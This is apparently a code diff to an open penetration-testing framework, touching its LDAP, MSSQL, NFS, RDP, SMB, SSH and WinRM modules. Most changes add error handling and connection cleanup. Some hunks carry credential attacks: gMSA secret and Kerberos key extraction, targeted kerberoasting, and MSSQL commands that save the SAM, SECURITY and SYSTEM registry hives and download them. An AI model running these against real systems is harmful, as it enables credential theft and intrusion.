||||
passwd = "<no read permissions>"
|
||||
rc4 = "<no read permissions>"
|
||||
aes128 = aes256 = ""
|
||||
if "msDS-ManagedPassword" in acc:
|
||||
blob = MSDS_MANAGEDPASSWORD_BLOB()
|
||||
blob.fromString(acc["msDS-ManagedPassword"])
|
||||
currentPassword = blob["CurrentPassword"][:-2]
|
||||
ntlm_hash = MD4.new()
|
||||
ntlm_hash.update(currentPassword)
|
||||
passwd = hexlify(ntlm_hash.digest()).decode("utf-8")
|
||||
self.logger.highlight(f"Account: {acc['sAMAccountName']:<20} NTLM: {passwd:<36} PrincipalsAllowedToReadPassword: {principal_with_read}")
|
||||
return True
|
||||
rc4, aes128, aes256 = self.gmsa_compute_secrets(acc["msDS-ManagedPassword"], acc["sAMAccountName"])
|
||||
self.logger.highlight(f"Account: {acc['sAMAccountName']:<20} NTLM: {rc4:<36} PrincipalsAllowedToReadPassword: {principal_with_read}")
|
||||
if aes128 and aes256:
|
||||
self.logger.highlight(f"Account: {acc['sAMAccountName']:<20} aes128-cts-hmac-sha1-96: {aes128}")
|
||||
self.logger.highlight(f"Account: {acc['sAMAccountName']:<20} aes256-cts-hmac-sha1-96: {aes256}")
|
||||
|
||||
def gmsa_compute_secrets(self, password_data: bytes, sAMAccountName: str):
|
||||
"""Generate RC4, AES128, and AES256 keys for a GMSA account based on the provided password data and username."""
|
||||
blob = MSDS_MANAGEDPASSWORD_BLOB()
|
||||
blob.fromString(password_data)
|
||||
current_password = hexlify(blob["CurrentPassword"].rstrip(b"\x00")).decode()
|
||||
|
||||
keys = generate_kerberos_keys(hex_pass=current_password, user=sAMAccountName, domain=self.targetDomain)
|
||||
rc4 = hexlify(keys[constants.EncryptionTypes.rc4_hmac.value].contents).decode()
|
||||
aes128 = hexlify(keys[constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value].contents).decode()
|
||||
aes256 = hexlify(keys[constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value].contents).decode()
|
||||
return rc4, aes128, aes256
|
||||
|
||||
def decipher_gmsa_name(self, domain_name=None, account_name=None):
|
||||
# https://aadinternals.com/post/gmsa/
|
||||
@@ -1334,60 +1365,50 @@ class ldap(connection):
|
||||
return str_hash
|
||||
|
||||
def gmsa_convert_id(self):
|
||||
if self.args.gmsa_convert_id:
|
||||
if len(self.args.gmsa_convert_id) != 64:
|
||||
self.logger.fail("Length of the gmsa id not correct :'(")
|
||||
else:
|
||||
# getting the gmsa account
|
||||
search_filter = "(objectClass=msDS-GroupManagedServiceAccount)"
|
||||
gmsa_accounts = self.ldap_connection.search(
|
||||
searchBase=self.baseDN,
|
||||
searchFilter=search_filter,
|
||||
attributes=["sAMAccountName"],
|
||||
sizeLimit=0,
|
||||
)
|
||||
gmsa_accounts_parsed = parse_result_attributes(gmsa_accounts)
|
||||
if gmsa_accounts_parsed:
|
||||
self.logger.debug(f"Total of records returned {len(gmsa_accounts_parsed):d}")
|
||||
|
||||
for acc in gmsa_accounts_parsed:
|
||||
if self.decipher_gmsa_name(self.domain.split(".")[0], acc["sAMAccountName"][:-1]) == self.args.gmsa_convert_id:
|
||||
self.logger.highlight(f"Account: {acc['sAMAccountName']:<20} ID: {self.args.gmsa_convert_id}")
|
||||
break
|
||||
if len(self.args.gmsa_convert_id) != 64:
|
||||
self.logger.fail("Length of the gmsa id not correct :'(")
|
||||
else:
|
||||
self.logger.fail("No string provided :'(")
|
||||
# getting the gmsa account
|
||||
gmsa_accounts = self.search(
|
||||
searchFilter="(objectClass=msDS-GroupManagedServiceAccount)",
|
||||
attributes=["sAMAccountName"],
|
||||
)
|
||||
gmsa_accounts_parsed = parse_result_attributes(gmsa_accounts)
|
||||
self.logger.debug(f"Total of records returned {len(gmsa_accounts_parsed):d}")
|
||||
|
||||
for acc in gmsa_accounts_parsed:
|
||||
if self.decipher_gmsa_name(self.domain.split(".")[0], acc["sAMAccountName"].rstrip("$")) == self.args.gmsa_convert_id:
|
||||
self.logger.highlight(f"Account: {acc['sAMAccountName']:<20} ID: {self.args.gmsa_convert_id}")
|
||||
break
|
||||
|
||||
def gmsa_decrypt_lsa(self):
|
||||
if self.args.gmsa_decrypt_lsa:
|
||||
if "_SC_GMSA_{84A78B8C" in self.args.gmsa_decrypt_lsa:
|
||||
gmsa_id, gmsa_pass = self.args.gmsa_decrypt_lsa.split("_")[4].split(":")
|
||||
# getting the gmsa account
|
||||
search_filter = "(objectClass=msDS-GroupManagedServiceAccount)"
|
||||
gmsa_accounts = self.ldap_connection.search(
|
||||
searchBase=self.baseDN,
|
||||
searchFilter=search_filter,
|
||||
attributes=["sAMAccountName"],
|
||||
sizeLimit=0,
|
||||
)
|
||||
gmsa_accounts_parsed = parse_result_attributes(gmsa_accounts)
|
||||
if gmsa_accounts_parsed:
|
||||
self.logger.debug(f"Total of records returned {len(gmsa_accounts):d}")
|
||||
if "_SC_GMSA_{84A78B8C" in self.args.gmsa_decrypt_lsa:
|
||||
gmsa_id, gmsa_pass = self.args.gmsa_decrypt_lsa.split("_")[4].split(":")
|
||||
# getting the gmsa account
|
||||
gmsa_accounts = self.search(
|
||||
searchFilter="(objectClass=msDS-GroupManagedServiceAccount)",
|
||||
attributes=["sAMAccountName"],
|
||||
)
|
||||
gmsa_accounts_parsed = parse_result_attributes(gmsa_accounts)
|
||||
sAMAccountName = ""
|
||||
if gmsa_accounts_parsed:
|
||||
self.logger.debug(f"Total of records returned {len(gmsa_accounts):d}")
|
||||
|
||||
for acc in gmsa_accounts_parsed:
|
||||
if self.decipher_gmsa_name(self.domain.split(".")[0], acc["sAMAccountName"][:-1]) == gmsa_id:
|
||||
gmsa_id = acc["sAMAccountName"]
|
||||
break
|
||||
# convert to ntlm
|
||||
data = bytes.fromhex(gmsa_pass)
|
||||
blob = MSDS_MANAGEDPASSWORD_BLOB()
|
||||
blob.fromString(data)
|
||||
currentPassword = blob["CurrentPassword"][:-2]
|
||||
ntlm_hash = MD4.new()
|
||||
ntlm_hash.update(currentPassword)
|
||||
passwd = hexlify(ntlm_hash.digest()).decode("utf-8")
|
||||
self.logger.highlight(f"Account: {gmsa_id:<20} NTLM: {passwd}")
|
||||
for acc in gmsa_accounts_parsed:
|
||||
if self.decipher_gmsa_name(self.domain.split(".")[0], acc["sAMAccountName"].rstrip("$")) == gmsa_id:
|
||||
sAMAccountName = acc["sAMAccountName"]
|
||||
break
|
||||
# Compute the password and keys
|
||||
data = bytes.fromhex(gmsa_pass)
|
||||
rc4, aes128, aes256 = self.gmsa_compute_secrets(data, sAMAccountName)
|
||||
self.logger.highlight(f"Account: {sAMAccountName:<20} NTLM: {rc4}")
|
||||
if not sAMAccountName:
|
||||
self.logger.fail("Could not find the GMSA account associated with the provided ID.")
|
||||
else:
|
||||
self.logger.highlight(f"Account: {sAMAccountName:<20} aes128-cts-hmac-sha1-96: {aes128}")
|
||||
self.logger.highlight(f"Account: {sAMAccountName:<20} aes256-cts-hmac-sha1-96: {aes256}")
|
||||
else:
|
||||
self.logger.fail("No string provided :'(")
|
||||
self.logger.fail("The provided string does not appear to be a valid GMSA LSA secret.")
|
||||
|
||||
def pso(self):
|
||||
"""
|
||||
|
||||
@@ -14,10 +14,12 @@ def proto_args(parser, parents):
|
||||
egroup.add_argument("--asreproast", help="Output AS_REP response to crack with hashcat to file")
|
||||
kerberoasting_arg = egroup.add_argument("--kerberoasting", "--kerberoast", help="Output TGS ticket to crack with hashcat to file")
|
||||
kerberoast_users_arg = egroup.add_argument("--kerberoast-account", nargs="+", dest="kerberoast_account", action=get_conditional_action(_StoreAction), make_required=[], help="Target specific accounts for kerberoasting (sAMAccountNames or file containing sAMAccountNames)")
|
||||
egroup.add_argument("--no-preauth-targets", nargs=1, dest="no_preauth_targets", help="Targeted kerberoastable users")
|
||||
targeted_kerberoast_arg = egroup.add_argument("--targeted-kerberoast", nargs="+", dest="targeted_kerberoast", action=get_conditional_action(_StoreAction), make_required=[], help="Adds temporary SPN to specified users, requests ST, then remove added SPN. Specify sAMAccountNames or file containing sAMAccountNames")
|
||||
egroup.add_argument("--no-preauth-targets", nargs=1, dest="no_preauth_targets", help="Specify accounts that should be kerberoasted using an account without pre-authentication requirement.")
|
||||
|
||||
# Make kerberoast-users require kerberoasting
|
||||
# Make kerberoast-users and targeted-kerberoast require kerberoasting
|
||||
kerberoast_users_arg.make_required = [kerberoasting_arg]
|
||||
targeted_kerberoast_arg.make_required = [kerberoasting_arg]
|
||||
|
||||
vgroup = ldap_parser.add_argument_group("Retrieve useful information on the domain")
|
||||
vgroup.add_argument("--base-dn", metavar="BASE_DN", dest="base_dn", type=str, default=None, help="base DN for search queries")
|
||||
|
||||
@@ -554,10 +554,12 @@ class mssql(connection):
|
||||
system_storename = gen_random_string(6)
|
||||
dump_command = f"reg save HKLM\\SAM C:\\windows\\temp\\{sam_storename} && reg save HKLM\\SYSTEM C:\\windows\\temp\\{system_storename}"
|
||||
clean_command = f"del C:\\windows\\temp\\{sam_storename} && del C:\\windows\\temp\\{system_storename}"
|
||||
get_owner_command = f"icacls C:\\windows\\temp\\{sam_storename} /grant {self.username}:F && icacls C:\\windows\\temp\\{system_storename} /grant {self.username}:F"
|
||||
output_filename = self.output_file_template.format(output_folder="sam")
|
||||
try:
|
||||
exec_method = MSSQLEXEC(self.conn, self.logger)
|
||||
exec_method.execute(dump_command)
|
||||
exec_method.execute(get_owner_command)
|
||||
exec_method.get_file(f"C:\\windows\\temp\\{sam_storename}", f"{output_filename}.sam")
|
||||
exec_method.get_file(f"C:\\windows\\temp\\{system_storename}", f"{output_filename}.system")
|
||||
exec_method.execute(clean_command)
|
||||
@@ -587,10 +589,12 @@ class mssql(connection):
|
||||
system_storename = gen_random_string(6)
|
||||
dump_command = f"reg save HKLM\\SECURITY C:\\windows\\temp\\{security_storename} && reg save HKLM\\SYSTEM C:\\windows\\temp\\{system_storename}"
|
||||
clean_command = f"del C:\\windows\\temp\\{security_storename} && del C:\\windows\\temp\\{system_storename}"
|
||||
get_owner_command = f"icacls C:\\windows\\temp\\{security_storename} /grant {self.username}:F && icacls C:\\windows\\temp\\{system_storename} /grant {self.username}:F"
|
||||
output_filename = self.output_file_template.format(output_folder="lsa")
|
||||
try:
|
||||
exec_method = MSSQLEXEC(self.conn, self.logger)
|
||||
exec_method.execute(dump_command)
|
||||
exec_method.execute(get_owner_command)
|
||||
exec_method.get_file(f"C:\\windows\\temp\\{security_storename}", f"{output_filename}.security")
|
||||
exec_method.get_file(f"C:\\windows\\temp\\{system_storename}", f"{output_filename}.system")
|
||||
exec_method.execute(clean_command)
|
||||
|
||||
+74
-11
@@ -130,18 +130,22 @@ class nfs(connection):
|
||||
if program["program"] == NFS_PROGRAM:
|
||||
self.nfs_versions.add(program["version"])
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Error checking NFS version: {self.host} {e}")
|
||||
self.logger.fail(f"Error checking NFS version: {self.host} {e}")
|
||||
|
||||
# Connect to NFS
|
||||
nfs_port = self.portmap.getport(NFS_PROGRAM, NFS_V3)
|
||||
self.nfs3 = NFSv3(self.host, nfs_port, self.args.nfs_timeout, self.auth)
|
||||
self.nfs3.connect()
|
||||
# Check if root escape is possible
|
||||
if NFS_V3 in self.nfs_versions:
|
||||
self.root_escape = self.try_root_escape()
|
||||
else:
|
||||
self.logger.debug("NFSv3 not supported, skipping root escape check")
|
||||
self.nfs3.disconnect()
|
||||
try:
|
||||
nfs_port = self.portmap.getport(NFS_PROGRAM, NFS_V3)
|
||||
if nfs_port:
|
||||
self.nfs3 = NFSv3(self.host, nfs_port, self.args.nfs_timeout, self.auth)
|
||||
self.nfs3.connect()
|
||||
# Check if root escape is possible
|
||||
if NFS_V3 in self.nfs_versions:
|
||||
self.root_escape = self.try_root_escape()
|
||||
else:
|
||||
self.logger.debug("NFSv3 not supported, skipping root escape check")
|
||||
self.nfs3.disconnect()
|
||||
except Exception as e:
|
||||
self.logger.fail(f"Failed to connect to NFS3 host: {e}")
|
||||
|
||||
def print_host_info(self):
|
||||
root_escape_str = colored(f"root escape:{self.root_escape}", host_info_colors[1 if self.root_escape else 0], attrs=["bold"])
|
||||
@@ -526,6 +530,62 @@ class nfs(connection):
|
||||
else:
|
||||
self.logger.highlight(f"File {local_file_path} successfully uploaded to {remote_file_path}")
|
||||
|
||||
def chmod(self):
|
||||
try:
|
||||
# Connect to NFS
|
||||
nfs_port = self.portmap.getport(NFS_PROGRAM, NFS_V3)
|
||||
self.nfs3 = NFSv3(self.host, nfs_port, self.args.nfs_timeout, self.auth)
|
||||
self.nfs3.connect()
|
||||
|
||||
# Mount the NFS share or get the root handle
|
||||
if self.root_escape and not self.args.share:
|
||||
mount_fh = self.escape_fh
|
||||
elif not self.args.share:
|
||||
self.logger.fail("No root escape possible, please specify a share")
|
||||
return
|
||||
else:
|
||||
mnt_info = self.mount.mnt(self.args.share, self.auth)
|
||||
if mnt_info["status"] != 0:
|
||||
self.logger.fail(f"Error mounting share {self.args.share}: {NFSSTAT3[mnt_info['status']]}")
|
||||
return
|
||||
mount_fh = mnt_info["mountinfo"]["fhandle"]
|
||||
|
||||
# Iterate over the path
|
||||
curr_fh = mount_fh
|
||||
privs = int(self.args.chmod[0], 8)
|
||||
filepath = self.args.chmod[1]
|
||||
file_path, file_name = os.path.split(filepath)
|
||||
|
||||
# If target dir is "" or "/" without filter we would get one item with [""]
|
||||
for sub_path in list(filter(None, file_path.lstrip("/").split("/"))):
|
||||
self.update_auth(curr_fh)
|
||||
res = self.nfs3.lookup(curr_fh, sub_path, auth=self.auth)
|
||||
|
||||
# If the path does not exist, create it
|
||||
if "resfail" in res and res["status"] == NFS3ERR_NOENT:
|
||||
self.logger.fail(f"Directory '{sub_path}' does not exist on path '{file_path}/'")
|
||||
|
||||
curr_fh = res["resok"]["object"]["data"]
|
||||
|
||||
# Update the UID and GID from the directory
|
||||
self.update_auth(curr_fh)
|
||||
|
||||
# Checking if file_name already exists on remote file path
|
||||
lookup_response = self.nfs3.lookup(curr_fh, file_name, auth=self.auth)
|
||||
|
||||
if "resfail" in lookup_response and lookup_response["status"] == NFS3ERR_NOENT:
|
||||
self.logger.fail(f"File '{file_name}' does not exist on path '{file_path}/'")
|
||||
return
|
||||
|
||||
current_privs = self.nfs3.getattr(lookup_response["resok"]["object"]["data"], auth=self.auth)["attributes"]["mode"]
|
||||
res = self.nfs3.setattr(lookup_response["resok"]["object"]["data"], mode=privs, auth=self.auth)
|
||||
if "resfail" in res:
|
||||
self.logger.fail(f"Failed to change permissions for '{filepath}': {NFSSTAT3[res['status']]}")
|
||||
else:
|
||||
self.logger.success(f"Permissions for '{filepath}' successfully changed from {format(current_privs, 'o')} to {format(privs, 'o')}")
|
||||
except Exception as e:
|
||||
self.logger.fail(f"Error occurred while processing path: {e}")
|
||||
|
||||
def get_root_handles(self, mount_fh):
|
||||
"""
|
||||
Get possible root handles to escape to the root filesystem
|
||||
@@ -727,7 +787,10 @@ class nfs(connection):
|
||||
read_perm, write_perm, exec_perm = self.get_permissions(item["name_handle"]["handle"]["data"])
|
||||
perms = f"{is_dir}{'r' if read_perm else '-'}{'w' if write_perm else '-'}{'x' if exec_perm else '-'}"
|
||||
file_size = convert_size(item["name_attributes"]["attributes"]["size"])
|
||||
self.logger.highlight(f"{uid:<11}{perms:<7}{file_size:<14}{path.rstrip('/') + '/' + item['name'].decode()}")
|
||||
try:
|
||||
self.logger.highlight(f"{uid:<11}{perms:<7}{file_size:<14}{path.rstrip('/') + '/' + item['name'].decode()}")
|
||||
except UnicodeDecodeError:
|
||||
self.logger.highlight(f"{uid:<11}{perms:<7}{file_size:<14}{path.rstrip('/') + '/' + item['name'].decode('CP437')}")
|
||||
|
||||
def format_directory(self, raw_directory):
|
||||
"""Convert the chained directory entries to a list of the entries"""
|
||||
|
||||
@@ -10,5 +10,6 @@ def proto_args(parser, parents):
|
||||
dgroup.add_argument("--ls", const="/", nargs="?", metavar="PATH", help="List files in the specified NFS share. Example: --ls /")
|
||||
dgroup.add_argument("--get-file", nargs=2, metavar="FILE", help="Download remote NFS file. Example: --get-file remote_file local_file")
|
||||
dgroup.add_argument("--put-file", nargs=2, metavar="FILE", help="Upload remote NFS file with chmod 777 permissions to the specified folder. Example: --put-file local_file remote_file")
|
||||
dgroup.add_argument("--chmod", nargs=2, metavar=("PERMISSIONS", "FILE"), help="Change permissions of remote NFS file. Example: --chmod 777 /path/to/file")
|
||||
|
||||
return parser
|
||||
+55
-31
@@ -1,4 +1,5 @@
|
||||
import asyncio
|
||||
import contextlib
|
||||
from datetime import datetime
|
||||
from os import getenv
|
||||
from anyio import Path
|
||||
@@ -108,7 +109,10 @@ class rdp(connection):
|
||||
self.logger.display(f"Probably old, doesn't not support HYBRID or HYBRID_EX ({nla})")
|
||||
else:
|
||||
self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.domain}) ({nla})")
|
||||
self.db.add_host(self.host, self.port, self.hostname, self.domain, self.server_os, self.nla)
|
||||
try:
|
||||
self.db.add_host(self.host, self.port, self.hostname, self.domain, self.server_os, self.nla)
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Error adding host {self.host} into db: {e!s}")
|
||||
|
||||
def create_conn_obj(self):
|
||||
self.target = RDPTarget(ip=self.host, domain="FAKE", port=self.port, timeout=self.args.rdp_timeout)
|
||||
@@ -124,7 +128,7 @@ class rdp(connection):
|
||||
target=self.target,
|
||||
credentials=self.auth,
|
||||
)
|
||||
asyncio.run(self.connect_rdp())
|
||||
asyncio.run(self.connect_rdp_with_cleanup())
|
||||
except OSError as e:
|
||||
if "Errno 104" not in str(e):
|
||||
return False
|
||||
@@ -188,10 +192,30 @@ class rdp(connection):
|
||||
pass
|
||||
|
||||
async def connect_rdp(self):
|
||||
"""Connect to the RDP server. Does NOT clean up on exit.
|
||||
|
||||
Use this when the caller needs the connection alive after connecting
|
||||
(screen, nla_screen, execute_shell). For sync callers that only need to
|
||||
know whether authentication succeeded and want guaranteed cleanup, use
|
||||
connect_rdp_with_cleanup() instead.
|
||||
"""
|
||||
_, err = await asyncio.wait_for(self.conn.connect(), timeout=self.args.rdp_timeout)
|
||||
if err is not None:
|
||||
raise err
|
||||
|
||||
async def terminate_conn(self):
|
||||
"""Terminate the RDP connection with a timeout so cleanup doesn't hang."""
|
||||
if self.conn is not None:
|
||||
with contextlib.suppress(Exception):
|
||||
await asyncio.wait_for(self.conn.terminate(), timeout=self.args.rdp_timeout)
|
||||
|
||||
async def connect_rdp_with_cleanup(self):
|
||||
"""Connect to the RDP server and always terminate the connection on exit"""
|
||||
try:
|
||||
await self.connect_rdp()
|
||||
finally:
|
||||
await self.terminate_conn()
|
||||
|
||||
def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False):
|
||||
try:
|
||||
lmhash = ""
|
||||
@@ -227,7 +251,7 @@ class rdp(connection):
|
||||
stype = asyauthSecret.PASS if not nthash else asyauthSecret.NT
|
||||
|
||||
kerberos_target = UniTarget(
|
||||
self.host,
|
||||
self.kdcHost,
|
||||
88,
|
||||
UniProto.CLIENT_TCP,
|
||||
timeout=self.args.rdp_timeout,
|
||||
@@ -245,7 +269,7 @@ class rdp(connection):
|
||||
stype=stype,
|
||||
)
|
||||
self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth)
|
||||
asyncio.run(self.connect_rdp())
|
||||
asyncio.run(self.connect_rdp_with_cleanup())
|
||||
|
||||
self.admin_privs = True
|
||||
self.logger.success(
|
||||
@@ -301,7 +325,7 @@ class rdp(connection):
|
||||
stype=asyauthSecret.PASS,
|
||||
)
|
||||
self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth)
|
||||
asyncio.run(self.connect_rdp())
|
||||
asyncio.run(self.connect_rdp_with_cleanup())
|
||||
|
||||
self.admin_privs = True
|
||||
self.logger.success(f"{domain}\\{username}:{process_secret(password)} {self.mark_pwned()}")
|
||||
@@ -335,7 +359,7 @@ class rdp(connection):
|
||||
stype=asyauthSecret.NT,
|
||||
)
|
||||
self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth)
|
||||
asyncio.run(self.connect_rdp())
|
||||
asyncio.run(self.connect_rdp_with_cleanup())
|
||||
|
||||
self.admin_privs = True
|
||||
self.logger.success(f"{self.domain}\\{username}:{process_secret(ntlm_hash)} {self.mark_pwned()}")
|
||||
@@ -420,7 +444,6 @@ class rdp(connection):
|
||||
return None
|
||||
self.logger.debug(f"Executing command: {payload_with_clip}")
|
||||
|
||||
# Create a connection
|
||||
try:
|
||||
self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth)
|
||||
await self.connect_rdp()
|
||||
@@ -525,13 +548,9 @@ class rdp(connection):
|
||||
self.logger.fail(f"Command execution failed: {e!s}")
|
||||
return None
|
||||
finally:
|
||||
# Always clean up the connection
|
||||
if self.conn is not None:
|
||||
self.logger.debug("Terminating RDP connection")
|
||||
try:
|
||||
await self.conn.terminate()
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Error terminating connection: {e!s}")
|
||||
# clean up the connection with a timeout to prevent aardwolf deadlock (see https://github.com/skelsec/aardwolf/issues/43)
|
||||
self.logger.debug("Terminating RDP connection")
|
||||
await self.terminate_conn()
|
||||
|
||||
def execute(self, payload=None, shell_type="cmd"):
|
||||
"""Execute a command via RDP"""
|
||||
@@ -566,15 +585,17 @@ class rdp(connection):
|
||||
try:
|
||||
self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth)
|
||||
await self.connect_rdp()
|
||||
except Exception:
|
||||
return
|
||||
|
||||
await asyncio.sleep(5)
|
||||
if self.conn is not None and self.conn.desktop_buffer_has_data is True:
|
||||
buffer = self.conn.get_desktop_buffer(VIDEO_FORMAT.PIL)
|
||||
filename = await Path(f"{NXC_PATH}/screenshots/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.png").expanduser()
|
||||
buffer.save(filename, "png")
|
||||
self.logger.highlight(f"Screenshot saved {filename}")
|
||||
await asyncio.sleep(5)
|
||||
if self.conn is not None and self.conn.desktop_buffer_has_data is True:
|
||||
buffer = self.conn.get_desktop_buffer(VIDEO_FORMAT.PIL)
|
||||
filename = await Path(f"{NXC_PATH}/screenshots/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.png").expanduser()
|
||||
buffer.save(filename, "png")
|
||||
self.logger.highlight(f"Screenshot saved {filename}")
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Error taking screenshot: {e!s}")
|
||||
finally:
|
||||
await self.terminate_conn()
|
||||
|
||||
def screenshot(self):
|
||||
asyncio.run(self.screen())
|
||||
@@ -586,19 +607,22 @@ class rdp(connection):
|
||||
try:
|
||||
self.iosettings.supported_protocols = proto
|
||||
self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth)
|
||||
|
||||
await self.connect_rdp()
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Failed to connect for nla_screenshot with {proto} {e}")
|
||||
return
|
||||
await self.terminate_conn()
|
||||
continue
|
||||
|
||||
await asyncio.sleep(int(self.args.screentime))
|
||||
if self.conn is not None and self.conn.desktop_buffer_has_data is True:
|
||||
buffer = self.conn.get_desktop_buffer(VIDEO_FORMAT.PIL)
|
||||
filename = await Path(f"{NXC_PATH}/screenshots/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.png").expanduser()
|
||||
buffer.save(filename, "png")
|
||||
self.logger.highlight(f"NLA Screenshot saved {filename}")
|
||||
return
|
||||
try:
|
||||
await asyncio.sleep(int(self.args.screentime))
|
||||
if self.conn is not None and self.conn.desktop_buffer_has_data is True:
|
||||
buffer = self.conn.get_desktop_buffer(VIDEO_FORMAT.PIL)
|
||||
filename = await Path(f"{NXC_PATH}/screenshots/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.png").expanduser()
|
||||
buffer.save(filename, "png")
|
||||
self.logger.highlight(f"NLA Screenshot saved {filename}")
|
||||
return
|
||||
finally:
|
||||
await self.terminate_conn()
|
||||
|
||||
def nla_screenshot(self):
|
||||
if not self.nla:
|
||||
|
||||
@@ -193,7 +193,14 @@ class smb(connection):
|
||||
# self.domain is the attribute we authenticate with
|
||||
# self.targetDomain is the attribute which gets displayed as host domain
|
||||
if not self.no_ntlm:
|
||||
self.hostname = self.conn.getServerName()
|
||||
# Try to get hostname with getServerDNSHostName as getServerName is truncated to 15 chars
|
||||
dns_hostname = self.conn.getServerDNSHostName().upper()
|
||||
if dns_hostname and "." in dns_hostname:
|
||||
self.hostname = dns_hostname.split(".")[0]
|
||||
elif dns_hostname:
|
||||
self.hostname = dns_hostname
|
||||
else:
|
||||
self.hostname = self.conn.getServerName()
|
||||
self.targetDomain = self.conn.getServerDNSDomainName()
|
||||
if not self.targetDomain: # Not sure if that can even happen but now we are safe
|
||||
self.targetDomain = self.hostname
|
||||
|
||||
+41
-31
@@ -142,38 +142,44 @@ class ssh(connection):
|
||||
def check_shell(self, cred_id):
|
||||
host_id = self.db.get_hosts(self.host)[0].id
|
||||
|
||||
# Some IOT devices will not raise exception in self.conn._transport.auth_password / self.conn._transport.auth_publickey
|
||||
# Check Linux
|
||||
stdout = self.conn.exec_command("id")[1].read().decode(self.args.codec, errors="ignore")
|
||||
if stdout:
|
||||
self.server_os_platform = "Linux"
|
||||
self.logger.debug(f"Linux detected for user: {stdout}")
|
||||
self.shell_access = True
|
||||
self.db.add_loggedin_relation(cred_id, host_id, shell=self.shell_access)
|
||||
self.check_linux_priv()
|
||||
if self.admin_privs:
|
||||
self.logger.debug(f"User {self.username} logged in successfully and is root!")
|
||||
if self.args.key_file:
|
||||
self.db.add_admin_user("key", self.username, self.password, host_id=host_id, cred_id=cred_id)
|
||||
else:
|
||||
self.db.add_admin_user("plaintext", self.username, self.password, host_id=host_id, cred_id=cred_id)
|
||||
return
|
||||
try:
|
||||
# Some IOT devices will not raise exception in self.conn._transport.auth_password / self.conn._transport.auth_publickey
|
||||
stdout = self.conn.exec_command("id")[1].read().decode(self.args.codec, errors="ignore")
|
||||
if stdout:
|
||||
self.server_os_platform = "Linux"
|
||||
self.logger.debug(f"Linux detected for user: {stdout}")
|
||||
self.shell_access = True
|
||||
self.db.add_loggedin_relation(cred_id, host_id, shell=self.shell_access)
|
||||
self.check_linux_priv()
|
||||
if self.admin_privs:
|
||||
self.logger.debug(f"User {self.username} logged in successfully and is root!")
|
||||
if self.args.key_file:
|
||||
self.db.add_admin_user("key", self.username, self.password, host_id=host_id, cred_id=cred_id)
|
||||
else:
|
||||
self.db.add_admin_user("plaintext", self.username, self.password, host_id=host_id, cred_id=cred_id)
|
||||
return
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Non-SSH error during Linux shell check: {e}")
|
||||
|
||||
# Check Windows
|
||||
stdout = self.conn.exec_command("whoami /priv")[1].read().decode(self.args.codec, errors="ignore")
|
||||
if stdout:
|
||||
self.server_os_platform = "Windows"
|
||||
self.logger.debug("Windows detected")
|
||||
self.shell_access = True
|
||||
self.db.add_loggedin_relation(cred_id, host_id, shell=self.shell_access)
|
||||
self.check_windows_priv(stdout)
|
||||
if self.admin_privs:
|
||||
self.logger.debug(f"User {self.username} logged in successfully and is admin!")
|
||||
if self.args.key_file:
|
||||
self.db.add_admin_user("key", self.username, self.password, host_id=host_id, cred_id=cred_id)
|
||||
else:
|
||||
self.db.add_admin_user("plaintext", self.username, self.password, host_id=host_id, cred_id=cred_id)
|
||||
return
|
||||
try:
|
||||
stdout = self.conn.exec_command("whoami /priv")[1].read().decode(self.args.codec, errors="ignore")
|
||||
if stdout:
|
||||
self.server_os_platform = "Windows"
|
||||
self.logger.debug("Windows detected")
|
||||
self.shell_access = True
|
||||
self.db.add_loggedin_relation(cred_id, host_id, shell=self.shell_access)
|
||||
self.check_windows_priv(stdout)
|
||||
if self.admin_privs:
|
||||
self.logger.debug(f"User {self.username} logged in successfully and is admin!")
|
||||
if self.args.key_file:
|
||||
self.db.add_admin_user("key", self.username, self.password, host_id=host_id, cred_id=cred_id)
|
||||
else:
|
||||
self.db.add_admin_user("plaintext", self.username, self.password, host_id=host_id, cred_id=cred_id)
|
||||
return
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Error during Windows shell check: {e}")
|
||||
|
||||
# No shell access
|
||||
self.shell_access = False
|
||||
@@ -196,8 +202,12 @@ class ssh(connection):
|
||||
# we could add in another method to check by piping in the password to sudo
|
||||
# but that might be too much of an opsec concern - maybe add in a flag to do more checks?
|
||||
self.logger.info("Determined user is root via `id; sudo -ln` command")
|
||||
_, stdout, _ = self.conn.exec_command("id; sudo -ln 2>&1")
|
||||
stdout = stdout.read().decode(self.args.codec, errors="ignore")
|
||||
try:
|
||||
_, stdout, _ = self.conn.exec_command("id; sudo -ln 2>&1")
|
||||
stdout = stdout.read().decode(self.args.codec, errors="ignore")
|
||||
except SSHException as e:
|
||||
self.logger.debug(f"SSH channel closed during privilege check: {e}")
|
||||
return
|
||||
admin_flag = {
|
||||
"(root)": [True, None],
|
||||
"NOPASSWD: ALL": [True, None],
|
||||
|
||||
+38
-1
@@ -72,7 +72,10 @@ class winrm(connection):
|
||||
self.server_os = ntlm_info["os_version"]
|
||||
self.logger.extra["hostname"] = self.hostname
|
||||
|
||||
self.db.add_host(self.host, self.port, self.hostname, self.targetDomain, self.server_os)
|
||||
try:
|
||||
self.db.add_host(self.host, self.port, self.hostname, self.targetDomain, self.server_os)
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Error adding host to database: {e!s}")
|
||||
|
||||
if self.args.domain:
|
||||
self.domain = self.args.domain
|
||||
@@ -299,6 +302,40 @@ class winrm(connection):
|
